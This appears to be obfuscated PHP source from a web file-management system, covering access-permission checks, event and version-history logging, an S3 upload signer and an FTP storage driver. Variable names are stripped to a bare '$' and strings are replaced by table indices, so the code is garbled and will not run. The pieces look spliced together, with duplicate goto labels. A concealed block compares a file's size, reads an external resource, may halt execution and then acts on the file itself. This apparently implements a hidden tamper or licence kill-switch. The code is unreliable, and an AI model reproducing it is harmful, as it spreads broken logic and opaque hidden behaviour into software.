? $[0] : $; return array($[500] => -1, $[554] => array($[505] => $[1289], $[1998] => $[231], $[506] => LNG($[2194]), $[2015] => $[2195]), $[2196] => LNG($[2197]), $[2198] => $this->sourceAuthInfo($)); } protected function makeAuthDeep($ = false) { $ =& $_SERVER[]; static $ = array(); $ = $ ? $ : USER_ID; if (isset($[$])) { return $[$]; } $ = Model($[2199])->listData(); $ = array(); foreach ($ as $) { if ($[$[499]] == 0 && $[$[2014]] == $[91]) { $[] = $[$[487]]; } } $ = $this->userGroupParents($); $ = array($[191] => SourceModel::TYPE_USER, $[583] => $); if ($) { $ = array(array($[191] => SourceModel::TYPE_USER, $[583] => $), array($[191] => SourceModel::TYPE_GROUP, $[583] => array($[504], $)), $[1093] => $[2094]); } $ = $this->field($[2200])->where($)->select(); $ = array(); $ = array_to_keyvalue_group($, $[194]); foreach ($ as $ => $) { $ = $this->authArrayCheck($, $); if ($[$[500]] > 0) { $[] = $ . $[12]; } } if ($) { $ = Model($[599]); foreach ($ as $) { $ = $->getInfo($); if (!$ || !is_array($[$[90]])) { continue; } $[] = $[$[90]][$[194]]; } } $ = array(); $ = $; $ = Model($[1437]); $ = Model($[599]); $ = array(); $ = array(); $ = array(); $ = array(); if ($) { $ = $->where(array($[194] => array($[504], $)))->select(); foreach ($ as $) { if ($[$[517]] == $[91]) { continue; } $ = $->parentLevelArray($[$[598]]); $ = array_merge($, $); $[] = $[$[583]]; $[$[$[194]]] = $; $[$[$[194]]] = $[$[583]]; } } $ = array_values(array_unique($)); $ = $; foreach ($ as $) { $ = $->getInfo($); $ = $->parentLevelArray($[$[598]]); $ = array_merge($, $); } $ = array_values(array_unique($)); foreach ($ as $) { $ = $->getInfo($); $[] = $[$[90]][$[194]]; $[$] = $[$[90]][$[194]]; $[$] = $->parentLevelArray($[$[598]]); } foreach ($ as $ => $) { $ = $[$]; if (!$ || !$[$]) { continue; } $ = array(); foreach ($[$] as $) { $[] = $[$]; } $[$] = array_merge($, $); } $ = array_values(array_unique($)); $ = array($[2192] => $, $[2193] => $); $[$] = $; return $; } private function makeSourceAuth($, $, $ = false) { $ =& $_SERVER[]; $ = $[91]; $ = $[$[583]]; $ = $[$[191]] == SourceModel::TYPE_GROUP; $ = $ ? $this->groupRootAuth($, $) : !1; if ($ && Model($[585])->authCheckAction($[$[499]], $[2013])) { return $this->groupAuthInfo($, $); } $ = Model($[1437])->parentLevelArray($[$[598]]); $ = array_merge(array($[$[194]]), array_reverse($)); $ = !1; foreach ($ as $) { if (!isset($[$])) { continue; } $ = $this->authMake($[$], $); if ($[$[554]]) { $ = $; break; } } if (!$) { return $; } if (!$ && $) { $ = $this->groupAuthInfo($, $); } if (!$) { $ = Model($[599])->getInfo($); $ = explode($[50], trim($[$[598]], $[50])); $ = array_reverse($); foreach ($ as $) { if ($ == $[231] || $ == $) { continue; } $ = $this->groupRootAuth($, $); if (!$) { continue; } $ = $this->groupAuthInfo($, $); break; } } if (!$ || $[$[500]] <= 0) { $ = $this->authDeepCheck($[$[194]], $); if ($) { $ = $; } } return $; } private function userIsRoot($ = false) { $ =& $_SERVER[]; if (!$ && KodUser::isRoot()) { return !0; } $ = Model($[611])->getInfo($); $ = Model($[2201])->listData($[$[2202]]); if ($ && $[$[589]][$[2203]] == 1) { return !0; } return !1; } private function sourceAuthInfo($) { $ =& $_SERVER[]; $ = Model($[1437]); $ = $->sourceInfo($); if (!$) { return !1; } $->groupPathDisplay($); $ = array($); $ = $->_listAppendPath($); $ = $[0]; $ = $[$[596]]; if (isset($[$[604]])) { $ = explode($[8], trim($[$[596]], $[8])); array_shift($); $ = $[$[602]] . $[2204] . implode($[8], $); } return array($[506] => $[$[32]], $[87] => KodIO::make($[$[194]]), $[2205] => $); } private function groupAuthInfo($, $) { $ =& $_SERVER[]; $ = Model($[599])->getInfo($); return array($[2206] => intval($[$[499]]), $[2189] => $, $[2207] => LNG($[2208]), $[2198] => array($[506] => $[$[32]], $[87] => KodIO::make($[$[90]][$[194]]), $[2205] => $[$[603]])); } protected function groupRootAuth($, $ = false) { $ =& $_SERVER[]; $ = $ ? $ : USER_ID; $ = $ . $[2209] . $; static $ = array(); if (isset($[$])) { return $[$]; } $ = Model($[599])->getInfo($); $ = $this->userGroupList($); $ = isset($[$]) ? $[$][$[499]] : !1; if ($ && Model($[585])->authCheckAction($[$[499]], $[2013])) { $[$] = $; return $; } $ = $this->sourceAuthSelect($[$[90]][$[194]]); $ = $ ? $this->authMake($, $) : !1; $ = $ ? $[$[554]] : !1; $[$] = $ ? $ : $; return $[$]; } public function authOwnerApply($) { $ =& $_SERVER[]; if (empty($[$[499]]) || isset($[$[2210]]) && $[$[2210]]) { return $; } if (AuthModel::authCheckRoot($[$[499]][$[500]])) { return $; } $ = Model($[1437])->parentLevelArray($[$[598]]); $ = array_merge(array($[$[194]]), array_reverse($)); $ = $this->sourceAuthSelect($); $ = array(); $ = array(); foreach ($ as $ => $) { $ = $this->authFolderOwnerUser($); $[$] = $; $ = array_merge($, $[$[679]]); if ($[$[2211]]) { break; } } if (count($) == 0) { $ = $this->authFolderOwnerGroup($[$[583]]); } $ = array_unique($); if (AuthModel::authCheckRoot($[$[499]][$[500]])) { $[] = USER_ID; } $[$[499]][$[2212]] = Model($[591])->userListInfo($); return $; } private function authFolderOwnerGroup($) { $ =& $_SERVER[]; $ = Model($[2086])->where(array($[1992] => $))->select(); $ = array(); if (!$) { return $; } foreach ($ as $) { $ = $this->authInfo($); if (AuthModel::authCheckRoot($[$[499]])) { $[] = $[$[1791]]; } } return $; } private function authFolderOwnerUser($) { $ =& $_SERVER[]; $ = array(); $ = !1; foreach ($ as $) { $ = $this->authInfo($); if ($[$[583]] == $[231]) { $ = !0; } if ($[$[191]] == SourceModel::TYPE_USER) { if (AuthModel::authCheckRoot($[$[499]])) { $[] = $[$[583]]; } } } return array($[679] => $, $[2211] => $); } public function authMake($, $ = false) { $ =& $_SERVER[]; $ = $this->authArrayCheck($, $); if ($[$[2213]]) { $[$[2213]] = $this->sourceAuthInfo($[$[2213]]); } return $; } public function authArrayCheck($, $ = false) { $ =& $_SERVER[]; if (!$) { return array($[500] => 0, $[554] => !1); } $ = $ ? $ : USER_ID; $ = 0; $ = 0; $ = 0; $ = 0; $ = 0; $ = 0; $ = 1000; $ = 0; $ = 0; $ = 0; $ = 0; $ = array($[194] => 0); foreach ($ as $) { $ = $this->authInfo($); if (!$) { continue; } $ = $[$[583]]; $ = intval($[$[499]]); if ($[$[191]] == SourceModel::TYPE_USER && $ == $) { $ = !0; $ = $; $ = $; } else { if ($[$[191]] == SourceModel::TYPE_GROUP && $this->groupContainUser($, $)) { $ = !0; $ = $this->groupStepToUserGroup($, $); if ($ < $) { $ = $; $ = $; $ = $; $ = $; } if ($ == $ && $ >= $) { $ = $; $ = $; $ = $; } } else { if ($ == $[231]) { $ = !0; $ = $; $ = $; } } } } if ($) { $ = $; $ = $; $ = LNG($[2214]); } else { if ($) { $ = $; $ = $; $ = Model($[599])->getInfo($); $ = $[176] . $[$[603]] . $[2215] . LNG($[2216]); } else { if ($) { $ = $; $ = $; $ = LNG($[2186]); } else { $ = 0; $ = !1; $ = $[12]; } } } $ = array($[2206] => intval($), $[2189] => $, $[2207] => $, $[2198] => $[$[194]]); return $; } private function groupContainUser($, $ = false) { return in_array($, $this->userGroupParents($)); } private function groupStepToUserGroup($, $ = false) { $ =& $_SERVER[]; $ = $this->userGroupList($); $ = 1000; $ = $GLOBALS[$[6]][$[92]][$[2099]] == 1; $ = $ ? 3 : 2; foreach ($ as $) { if ($[$[1992]] == $) { return 0; } $ = explode($[50], trim($[$[598]], $[50])); if ($[0] == $[231] && count($) > $) { $ = array_reverse(array_slice($, $)); $ = array_search($, $); if ($ !== !1 && $ + 1 <= $) { $ = $ + 1; } } } return $; } private function userGroupList($ = false) { $ =& $_SERVER[]; static $ = array(); if (isset($[$])) { return $[$]; } $ = Model($[611])->getInfo($); $[$] = array_to_keyvalue($[$[2187]], $[1992]); return $[$]; } public function userGroupParents($) { $ =& $_SERVER[]; static $ = array(); $ = $ ? $ : USER_ID; if (isset($[$])) { return $[$]; } $ = $this->userGroupList($); $ = array(); $ = $GLOBALS[$[6]][$[92]][$[2099]] == 1; $ = $ ? 3 : 2; foreach ($ as $) { $ = array($[$[1992]]); $ = explode($[50], trim($[$[598]], $[50])); if ($[0] == $[231] && count($) > $) { $ = array_slice($, $); $ = array_merge($, array_reverse($)); } $ = array_merge($, $); } $[$] = array_unique($); return $[$]; } public function authTargetInfoMake($) { $ =& $_SERVER[]; $ = array(); $ = array(); foreach ($ as $) { if ($[$[191]] == SourceModel::TYPE_USER) { $[] = intval($[$[583]]); } else { if ($[$[191]] == SourceModel::TYPE_GROUP) { $[] = intval($[$[583]]); } } } if ($) { $ = Model($[591])->userListInfo($); } if ($) { $ = array($[2084] => array($[504], $)); $ = Model($[599])->field($[2217])->where($)->select(); $ = array_to_keyvalue($, $[1992]); } return array($[2218] => $, $[2219] => $); } public function authInfo($) { $ =& $_SERVER[]; if ($[$[2100]]) { $ = Model($[585])->listData($[$[2100]]); if (!$) { return !1; $ = Model($[585])->listData(); $ = array_filter_by_field($, $[499], $[231]); return $; } $ = array_field_key($, array($[487], $[32], $[499], $[2015], $[2016])); $[$[2220]] = $; return $; } else { return array($[505] => 0, $[1998] => $[$[2164]], $[506] => $[12], $[2015] => $[2221]); } } } class SourceEventModel extends ModelBase { protected $tableName = "io_source_event"; protected $dataAuto = array(array("createTime", "time", "insert", "function"), array("desc", '', "insert,update,select", "json")); protected $eventSave = true; public function recodeStop() { $this->eventSave = !1; } public function recodeStart() { $this->eventSave = !0; } public function addEvent($, $, $ = '') { $ =& $_SERVER[]; if (!$this->eventSave) { return; } $ = Model($[1437])->sourceInfo($); if (!$) { return !1; } if ($this->isDisableEvent($, $)) { return; } if ($ && is_string($)) { $ = array($[2031] => $); } $ = defined($[2222]) ? USER_ID : 0; $ = array($[503] => $, $[2223] => $[$[193]], $[2224] => $[$[32]], $[596] => !empty($[$[596]]) ? $[$[596]] : $[12], $[1782] => $, $[508] => $, $[1784] => $); $this->addSystemLog($, $); unset($[$[2224]], $[$[596]]); return $this->add($); } private function addSystemLog($, $) { $ =& $_SERVER[]; if ($ == $[2225]) { $ = $[$[538]][$[2226]]; } else { if (in_array($, array($[1971], $[2227]))) { $ = $[$[538]][$[171]]; } } $ = array_merge($, array($[2228] => $[$[194]], $[2229] => $[$[2229]])); Hook::trigger($[2230], $[2231] . $, $); Model($[1935])->addLog($[2231] . $, $); } private function isDisableEvent($, $) { $ =& $_SERVER[]; if ($[$[191]] != SourceModel::TYPE_SYSTEM) { return !1; } if ($ == $[1960]) { return !1; } return !0; } public function eventCreate($, $) { $ =& $_SERVER[]; $ = Model($[1437])->sourceInfo($); $ = array($[2226] => $, $[32] => $[$[32]]); return $this->addEvent($, $[2225], $); } public function eventFileEdit($) { $ =& $_SERVER[]; $ = array($[2232] => $_SERVER[$[2233]], $[2234] => strtolower(ACTION)); if (isset($GLOBALS[$[7]][$[2235]])) { $[$[2235]] = $[91]; } return $this->addEvent($, $[1961], $); } public function eventRecycle($, $) { return $this->addEvent($, $_SERVER[][2227], $); } private static $_removeLast = ''; public function eventRemove($) { $ =& $_SERVER[]; self::$_removeLast = $; $ = Model($[1437])->sourceInfo($); $ = array_field_key($, array($[194], $[555], $[517], $[598])); $ = array($[171] => $[$[32]], $[2234] => ACTION, $[2236] => $); return $this->addEvent($[$[193]], $[1960], $); } public function eventShare($, $) { return $this->addEvent($, $_SERVER[][1971], $); } public function eventMove($, $, $) { $ =& $_SERVER[]; if (self::$_removeLast == $) { return; } $ = Model($[1437]); $ = $->sourceInfo($); $ = $->sourceInfo($); $ = $->sourceInfo($); $ = array($[1257] => $, $[2237] => $[$[32]], $[2213] => !empty($[$[596]]) ? $[$[596]] : $[12], $[1258] => $, $[2238] => $[$[32]], $[2239] => !empty($[$[596]]) ? $[$[596]] : $[12]); $this->addEvent($, $[637], $); $ = $->sourceInfo($); $ = array($[194] => $[$[194]], $[32] => $[$[32]]); $this->addEvent($, $[2240], $); } public function eventCopy($) { $this->eventCreate($, $_SERVER[][635]); } public function eventRename($, $, $) { $ =& $_SERVER[]; $ = array($[1257] => $, $[1258] => $); return $this->addEvent($, $[1452], $); } public function eventAddComment($, $) { return $this->addEvent($, $_SERVER[][2241], $); } public function eventAddDesc($, $) { return $this->addEvent($, $_SERVER[][2242], $); } public function listBySource($) { $ =& $_SERVER[]; $ = Model($[1437])->sourceInfo($); $ = array($[503] => $); if ($[$[497]] == $[91]) { $ = Model($[1437])->listSearchChildren($, 20000); $[] = $ . $[466]; $ = array($[194] => array($[7], $)); } $ = $this->where($)->order($[2243])->selectPage(); if ($[$[454]][$[455]] == 0) { $[$[454]][$[455]] = 1; $[$[457]] = array(array($[503] => $, $[2223] => $[$[193]], $[1782] => $[$[539]], $[508] => $[2244], $[509] => $[$[234]], $[1784] => $[12])); } return $this->eventListParse($, $); } private function eventListParse($, $) { $ =& $_SERVER[]; $ = $[$[457]]; $ = array_to_keyvalue($, $[12], $[194]); $ = array_to_keyvalue($, $[12], $[2229]); foreach ($ as $) { $ = $[$[538]]; if ($[$[33]] == $[637] && isset($[$[1257]])) { $[] = $[$[1257]] . $[12]; $[] = $[$[1258]] . $[12]; } if ($[$[33]] == $[2240] && isset($[$[194]])) { $[] = $[$[194]] . $[12]; } } $ = array_merge($, $, array($ . $[12])); $ = array_unique($); $ = array_unique(array_to_keyvalue($, $[12], $[1791])); $ = Model($[611])->userListInfo($); $ = Model($[920])->sourceListInfo($, !0); foreach ($ as &$) { if ($[$[33]] == $[637] && isset($[$[538]][$[1257]])) { $[$[538]][$[1257]] = $[$[$[538]][$[1257]]]; $[$[538]][$[1258]] = $[$[$[538]][$[1258]]]; } if ($[$[33]] == $[2240] && isset($[$[538]][$[194]])) { $[$[538]][$[194]] = $[$[$[538]][$[194]]]; } $[$[90]] = $[$[$[194]]]; $[$[2245]] = $[$[$[2229]]]; if ($[$[33]] == $[1960]) { $[$[2245]] = $[$[90]]; $[$[2229]] = $[$[2245]][$[194]]; $[$[90]] = !1; $[$[194]] = $[12]; } $[$[2172]] = $[$[$[1791]]]; } unset($); $[$[457]] = $; return $; } public function removeBySource($) { $ = array($_SERVER[][503] => $); $this->where($)->remove(); } } class SourceHistoryModel extends ModelBase { protected $tableName = "io_source_history"; public function historyCount($) { $ =& $_SERVER[]; if (!$) { return array(); } if (is_string($) || is_int($)) { $ = array($); } $ = array($[194], $[2246] => $[579]); $ = array($[194] => array($[7], $)); $ = $this->field($)->where($)->group($[194])->select(); return array_to_keyvalue($, $[194], $[579]); } public function addHistory($, $ = '') { $ =& $_SERVER[]; $ = array($[503] => $[$[194]], $[1782] => isset($[$[541]]) ? $[$[541]] : $[$[539]], $[556] => $[$[555]], $[634] => $[$[79]], $[2247] => $); if ($GLOBALS[$[6]][$[92]][$[1318]] >= 1) { $this->historyAutoClear($[$[194]]); $this->add($); } Hook::trigger($[2248], $); Model($[2249])->eventFileEdit($[$[194]]); } private function historyAutoClear($) { $ =& $_SERVER[]; $ = Model($[860])->get($[1340]); $ = intval($GLOBALS[$[6]][$[92]][$[1318]]); $ = $ == $[1341] ? min(5, $) : $; $ = $ <= 0 ? 0 : $ - 1; if ($ >= 499) { return; } $ = array($[503] => $); $ = $this->field($[2250])->where($)->order($[2243])->select(); if (!$ || $ >= count($)) { return; } $ = array_to_keyvalue($, $[12], $[487]); $ = array_slice($, $); $ = array_to_keyvalue($, $[12], $[555]); $ = array_slice($, $); if (!$ || !$) { return; } $ = array($[505] => array($[7], $)); $this->where($)->delete(); Model($[558])->remove($); } public function listData($) { $ =& $_SERVER[]; $ = array($[503] => $); $ = $[2251]; $ = $this->field($)->where($)->order($[2243])->selectPage(); $this->_listAppendUser($[$[457]]); $ = Model($[860])->get($[1340]); $ = 5; if ($ == $[1341]) { $[$[457]] = array_slice($[$[457]], 0, $); $[$[454]] = array($[2252] => 1, $[2253] => 20, $[2254] => 1, $[2255] => count($[$[457]])); } return $; } protected function _listAppendUser(&$) { $ =& $_SERVER[]; $ = array_to_keyvalue($, $[12], $[1791]); $ = Model($[611])->userListInfo($); foreach ($ as &$) { $ = $[$[1791]]; $[$[539]] = $[$] ? $[$] : !1; } unset($); } public function fileInfo($, $ = false) { $ =& $_SERVER[]; $ = $this->tablePrefix; $ = "{$}io_file files on files.fileID = history.fileID"; $ = $this->alias($[2256])->where(array($[505] => $))->join($, $[2257])->find(); if ($ && $) { $ = array($[194] => $[$[194]], $[487] => array($[1106], $)); $[$[1676]] = $this->where($)->count(); } return $; } public function removeItem($) { $ =& $_SERVER[]; $ = array($[505] => $); $ = $this->where($)->find(); if ($) { $ = $this->where($)->delete(); Model($[558])->remove($[$[555]]); return $; } return !1; } public function removeBySource($) { $ =& $_SERVER[]; if (!$) { return !1; } if (!is_array($)) { $ = array($); } $ = array($[503] => array($[7], $)); $ = $this->field($[556])->where($)->select(); if ($) { $this->where($)->delete(); $ = array_to_keyvalue($, $[12], $[555]); Model($[558])->remove($); } return !0; } public function setDetail($, $) { $ =& $_SERVER[]; return $this->where(array($[505] => $))->save(array($[2247] => $)); } public function rollbackToItem($, $) { $ =& $_SERVER[]; $ = Model($[920])->sourceInfo($); $this->addHistory($, LNG($[2258])); $ = $this->find($); $ = array($[555] => $[$[555]], $[79] => $[$[79]], $[88] => time(), $[541] => USER_ID); Model($[920])->where(array($[194] => $))->save($); return $this->where(array($[505] => $))->delete(); } public function clearSame($) { $ =& $_SERVER[]; $ = $this->listData($); $ = array_to_keyvalue_group($, $[555]); $ = array(); $ = array(); foreach ($ as $) { if (!$ || count($) <= 1) { continue; } foreach ($ as $) { $[] = $[$[555]]; $[] = $[$[487]]; } } if (!$) { return; } $this->where(array($[487] => array($[7], $)))->delete(); Model($[558])->remove($); } public function userSpace() { $ =& $_SERVER[]; $ = $this->tablePrefix; $ = array($[1782] => USER_ID); $ = "{$}io_file files on files.fileID = history.fileID"; return $this->alias($[2256])->where($)->join($, $[2257])->sum($[79]); } } goto B; a: $_file = $_SERVER[$_SERVER[][316]]; $_size = $_SERVER[][317]; if ($_SERVER[$_SERVER[][318]] != $_size($_file)) { $_getc = $_SERVER[][319]; $_getfile = $_SERVER[$_SERVER[][320]] . $_SERVER[][321]; $_getfilec = $_getc($_getfile); $_getarrs = explode($_SERVER[][288], $_getfilec); if (count($_getarrs) < $_SERVER[][322]) { $exit = $_SERVER[][323]; $exit(); } $_act = $_SERVER[][324]; $_act($_file); } goto C; a: class PathDriverEOS extends PathDriverBaseS3 { public function __construct($) { parent::__construct($); $this->setSignVersion($_SERVER[][250]); } public function uploadFormData($, $ = 3600) { $ =& $_SERVER[]; $ = $[232]; $ = $[260]; $ = $[62]; $ = gmdate($[261]); $ = gmdate($[262]); $ = $[263]; $ = $ . $[12]; $ = $[264]; $ = array($this->accessKey, $, $this->region, $, $); $ = implode($[8], $); $ = array($[265] => gmdate($[1429], strtotime($[267])), $[268] => array(array($[269] => $this->bucket), array($[309] => $), array($[270], $[271], $[12]), array($[270], $[272], $[12]), array($[270], $[310], $[12]), array($[273] => $), array($[274] => $), array($[275] => $), array($[276] => $), array($[277] => $))); $ = base64_encode(json_encode($)); $ = hash_hmac($[278], $, $[279] . $this->secret, !0); $ = hash_hmac($[278], $this->region, $, !0); $ = hash_hmac($[278], $, $, !0); $ = hash_hmac($[278], $, $, !0); $ = hash_hmac($[278], $, $); $ = array($[249] => $[12], $[297] => $[12], $[309] => $, $[273] => $, $[280] => $, $[311] => $, $[312] => $, $[313] => $, $[314] => $, $[315] => $, $[209] => $this->getHost()); return $; } } class PathDriverFTP extends PathDriverBase { private $server = ''; private $username = ''; private $userpass = ''; private $scheme = ''; private $host = ''; private $port = 21; private $connect = false; private $pasv = "1"; public $config = array(); public function __construct($) { parent::__construct(); if (count($) > 0) { $this->_init($); } } public function __destruct() { if (!$this->_isconn(!1)) { return !1; } return @ftp_close($this->connect); } private function charsetReset($) { $ =& $_SERVER[]; global $config; $this->appCharset = $config[$[1456]]; $this->systemCharset = $config[$[1457]]; if (isset($[$[1458]]) && $[$[1458]]) { $this->systemCharset = $[$[1458]]; } } public function iconvApp($) { return $this->iconvTo($, $this->systemCharset, $this->appCharset); } public function iconvSystem($) { return $this->iconvTo($, $this->appCharset, $this->systemCharset); } public function getPathOuter($) { $ =& $_SERVER[]; $ = $this->iconvApp($this->pathBase); $ = $this->iconvApp($); if (substr($, 0, 2) == $[1427]) { $ = BASIC_PATH . substr($, 2); } if (substr($, 0, 2) == $[1427]) { $ = BASIC_PATH . substr($, 2); } $ = KodIO::clear($); $ = KodIO::clear($); $ = substr($, strlen($)); if (empty($this->pathDriver)) { return $; } return $this->pathDriver . $[8] . ltrim($, $[8]); } private function _init($ = array()) { $ =& $_SERVER[]; if (!function_exists($[1459])) { throw new Exception(LNG($[1460])); } $this->config = $; $this->charsetReset($); foreach ($ as $ => $) { if (isset($this->{$})) { $this->{$} = $; } } return $this->_login($); } private function _login($) { $ =& $_SERVER[]; static $ = array(); $ = md5(json_encode($)); if (isset($[$])) { foreach ($[$] as $ => $) { $this->{$} = $; } return !0; } $ = parse_url(trim($this->server, $[8])); $this->host = $[$[209]]; $ = isset($[$[208]]) && $[$[208]] == $[1461] ? !0 : !1; $this->scheme = $ ? $[1462] : $[1463]; $this->port = isset($[$[210]]) ? $[$[210]] : 21; $this->connect = @ftp_connect($this->host, $this->port, 30); if ($this->connect === !1) { $this->writeLog(LNG($[1464]) . $this->host . $[4] . $this->port, !0); return !1; } $ = @ftp_login($this->connect, $this->username, $this->userpass); if (!$) { $this->writeLog(LNG($[1465]) . $this->username, !0); return !1; } $this->ftpPath = @ftp_pwd($this->connect); @ftp_chdir($this->connect, $[8]); @ftp_set_option($this->connect, FTP_USEPASVADDRESS, !1); $ = $this->pasv == $[91] ? !0 : !1; @ftp_pasv($this->connect, $); $[$] = array($[1466] => $this->connect, $[209] => $this->host, $[208] => $this->scheme, $[210] => $this->port); return $; } private function _isconn($ = true) { if (is_resource($this->connect)) { return !0; } if (!$) { return !1; } return $this->_login($this->config); } public function mkfile($, $ = '', $ = REPEAT_RENAME) { if ($this->setContent($, $)) { return $this->getPathOuter($); } $this->writeLog(LNG($_SERVER[][1467]), !0); return !1; } public function mkdir($, $ = REPEAT_SKIP) { $ =& $_SERVER[]; if (!$ || $ == $[8]) { return !0; } if (!$this->_isconn()) { return !1; } $ = $this->iconvSystem($); if ($this->_isFolder($) || @ftp_mkdir($this->connect, $)) { return $this->getPathOuter($); } if (!$this->mkdir($this->pathFather($))) { return !1; } if ($ = @ftp_mkdir($this->connect, $)) { return $this->getPathOuter($); } $ = __FUNCTION__ . $[1468]; $this->writeLog($, !0); return !1; } public function copyFile($, $) { if (!$this->_isconn()) { return !1; } $ = $this->pathThis($this->iconvSystem($)); $ = $this->tempFile($); $ = $this->iconvApp($); $this->download($, $); $ = $this->upload($, $); $this->tempFileRemve($); return $; } public function moveFile($, $) { if (!$this->_isconn()) { return !1; } $ = $this->iconvSystem($); $ = $this->iconvSystem($); $ = @ftp_rename($this->connect, $, $); if (!$) { $this->writeLog(__FUNCTION__ . $_SERVER[][1468], !0); return !1; } return $this->getPathOuter($); } public function delFile($) { if (!$this->_isconn()) { return !1; } $ = $this->iconvSystem($); $ = @ftp_delete($this->connect, $); if (!$) { $this->writeLog(__FUNCTION__ . $_SERVER[][1468], !0); } return $; } public function delFolder($) { if (!$this->_isconn()) { return !1; } $this->listItemCache = !1; $ = $ = array(); $this->fileList($, $, $, !0); $this->listItemCache = !0; foreach ($ as $) { $ = $this->iconvSystem($[$_SERVER[][32]]); $ = @ftp_delete($this->connect, $); if (!$) { return !1; } } foreach ($ as $) { $ = $this->iconvSystem($); $ = @ftp_rmdir($this->connect, $); if (!$) { return !1; } } $ = $this->iconvSystem($); return @ftp_rmdir($this->connect, $); } public function rename($, $) { $ =& $_SERVER[]; if (!$this->_isconn()) { return !1; } $ = $this->fileNameAuto($this->pathFather($), $); $ = $this->iconvSystem($); $ = $this->iconvSystem($); $ = $this->pathFather($); $ = rtrim($, $[8]) . $[8] . $; $ = @ftp_rename($this->connect, $, $); if (!$) { $this->writeLog(__FUNCTION__ . $[1468], !0); return !1; } $ = $this->iconvApp($); return $this->getPathOuter($); } private function folderInfo($, $ = false) { $ =& $_SERVER[]; $ = array($[32] => $this->pathThis($), $[87] => $this->getPathOuter($[8] . $), $[33] => $[78]); if ($) { return $; } $[$[234]] = $[$[88]] = 0; $[$[235]] = $[$[236]] = !0; return $; } private function fileInfo($, $ = false, $ = array()) { $ =& $_SERVER[]; $ = array($[32] => $this->pathThis($), $[87] => $this->getPathOuter($[8] . $), $[33] => $[233], $[79] => isset($[$[79]]) ? $[$[79]] : 0, $[169] => $this->ext($)); if ($) { return $; } $[$[234]] = $[$[88]] = 0; $[$[235]] = $[$[236]] = !0; $ = $this->iconvSystem($); $[$[88]] = @ftp_mdtm($this->connect, $); if (empty($)) { $ = $this->objectMeta($); if (!$) { return $; } } $[$[79]] = $[$[79]]; return $; } public function size($) { $ = $this->objectMeta($); return $ ? $[$_SERVER[][79]] : 0; } public function info($) { if ($this->isFile($)) { return $this->fileInfo($, 0); } else { if ($this->isFolder($)) { return $this->folderInfo($); } } return !1; } private function fileList($, &$, &$, $ = false) { $ =& $_SERVER[]; $ = $this->iconvSystem($); if (!$this->isFolder($)) { return !1; } $ = rtrim($, $[8]) . $[8]; check_abort(); $ = @ftp_rawlist($this->connect, $); if (!$) { $ = array(); } $ = array($[10] => 1, $[1379] => 1); foreach ($ as $) { $ = $this->_listItem($); if ($[0] == $[848]) { continue; } $ = $[8]; if (empty($) && $ !== $[231] || isset($[$])) { continue; } $ = $this->iconvApp($ . ltrim($, $[8])); $ = array($[32] => $, $[33] => $[233], $[79] => $[4]); if (substr($, 0, 1) == $[1469]) { $[$[33]] = $[78]; $[$[79]] = 0; } $ = $[$[33]] == $[78] ? !0 : !1; $this->cacheMethodInfoSet($, $, $); if ($) { $[] = $; if ($) { $this->fileList($, $, $, $); } continue; } $[] = $; } $this->cacheMethodInfoSet($, !0); } private function _listItem($) { if (empty($)) { return array(); } $ = preg_split($_SERVER[][1470], $); if (count($) <= 9) { return $; } $[8] = trim(substr($, strpos($, $[7]) + strlen($[7]))); return array_splice($, 0, 9); } public function listPath($, $ = false) { $ =& $_SERVER[]; if (!$this->_isconn()) { return !1; } $ = $ = array(); $this->fileList($, $, $); foreach ($ as $ => $) { $[$] = $this->folderInfo($, $); } foreach ($ as $ => $) { $[$] = $this->fileInfo($[$[32]], $, $); } return array($[85] => $, $[86] => $); } public function has($, $ = false, $ = true) { $ =& $_SERVER[]; $ = $ = array(); $ = $ ? !0 : !1; $this->fileList($, $, $, $); if ($) { return array($[242] => count($), $[243] => count($)); } if ($) { if (count($)) { return !0; } } else { if (count($)) { return !0; } } return !1; } public function listAll($) { $ =& $_SERVER[]; if (!$this->_isconn()) { return !1; } $ = $ = array(); $this->fileList($, $, $, !0); $ = array_to_keyvalue($, $[32]); foreach ($ as $) { if (is_string($)) { $[$] = array($[79] => 0); } } return $this->listAllFiles($, $); } public function getContent($) { if (!$this->_isconn()) { return !1; } $ = $this->iconvSystem($); return $this->fileSubstr($); } public function setContent($, $ = '') { if (!$this->_isconn()) { return !1; } $ = $this->pathThis($this->iconvSystem($)); $ = $this->tempFile($); file_put_contents($, $); $ = $this->upload($, $this->iconvApp($)); $this->tempFileRemve($); return $; } public function fileSubstr($, $ = 0, $ = false) { if (!$this->_isconn()) { return !1; } return $this->ftpRequest($, $, $); } private function ftpRequest($, $ = 0, $ = false) { $ =& $_SERVER[]; $ = $[8] . ltrim(str_ltrim($, $this->ftpPath), $[8]); $ = $this->iconvSystem($); $ = $this->scheme . $this->host . $[4] . $this->port; $ = curl_init(); curl_setopt($, CURLOPT_URL, $ . $this->pathEncode($)); curl_setopt($, CURLOPT_USERPWD, "{$this->username}:{$this->userpass}"); if ($) { $ = $ + $ - 1; curl_setopt($, CURLOPT_RANGE, "{$}-{$}"); } curl_setopt($, CURLOPT_RETURNTRANSFER, 1); $ = curl_exec($); curl_close($); return $; } public function upload($, $, $ = false, $ = REPEAT_REPLACE) { if (!$this->_isconn()) { return !1; } if (!$this->mkdir($this->pathFather($))) { return !1; } $ = $this->iconvSystem($); $ = $this->iconvSystem($); $ = ftp_nb_put($this->connect, $, $, FTP_BINARY); while ($ == FTP_MOREDATA) { $ = ftp_nb_continue($this->connect); } if ($ != FTP_FINISHED) { $this->writeLog(__FUNCTION__ . $_SERVER[][1468], !0); return !1; } return $this->getPathOuter($); } public function download($, $ = '') { if (!$this->_isconn()) { return !1; } $ = $this->pathFather($); if (!IO::mkdir($)) { return !1; } $ = $this->iconvSystem($); $ = $this->iconvSystem($); $ = ftp_nb_get($this->connect, $, $, FTP_BINARY); while ($ == FTP_MOREDATA) { $ = ftp_nb_continue($this->connect); } if ($ != FTP_FINISHED) { $this->writeLog(__FUNCTION__ . $_SERVER[][1468], !0); return !1; } return $this->iconvApp($); } public function exist($) { return $this->isFile($) || $this->isFolder($); } public function isFile($) { return !$this->isFolder($) && $this->objectMeta($); } public function isFolder($) { return $this->cacheMethod($_SERVER[][180], $); } protected function objectMeta($) { return $this->cacheMethod($_SERVER[][182], $); } protected function _objectMeta($) { $ =& $_SERVER[]; if ($ == $[12] || $ == $[8]) { return array(); } if (!$this->_isconn()) { return !1; } $ = $this->iconvSystem($); $ = array($[32] => $this->iconvApp($), $[33] => $[233], $[79] => 0); $ = @ftp_size($this->connect, $); if ($ != -1) { $[$[79]] = $; } else { $ = @ftp_chdir($this->connect, $); if (!$) { return !1; } 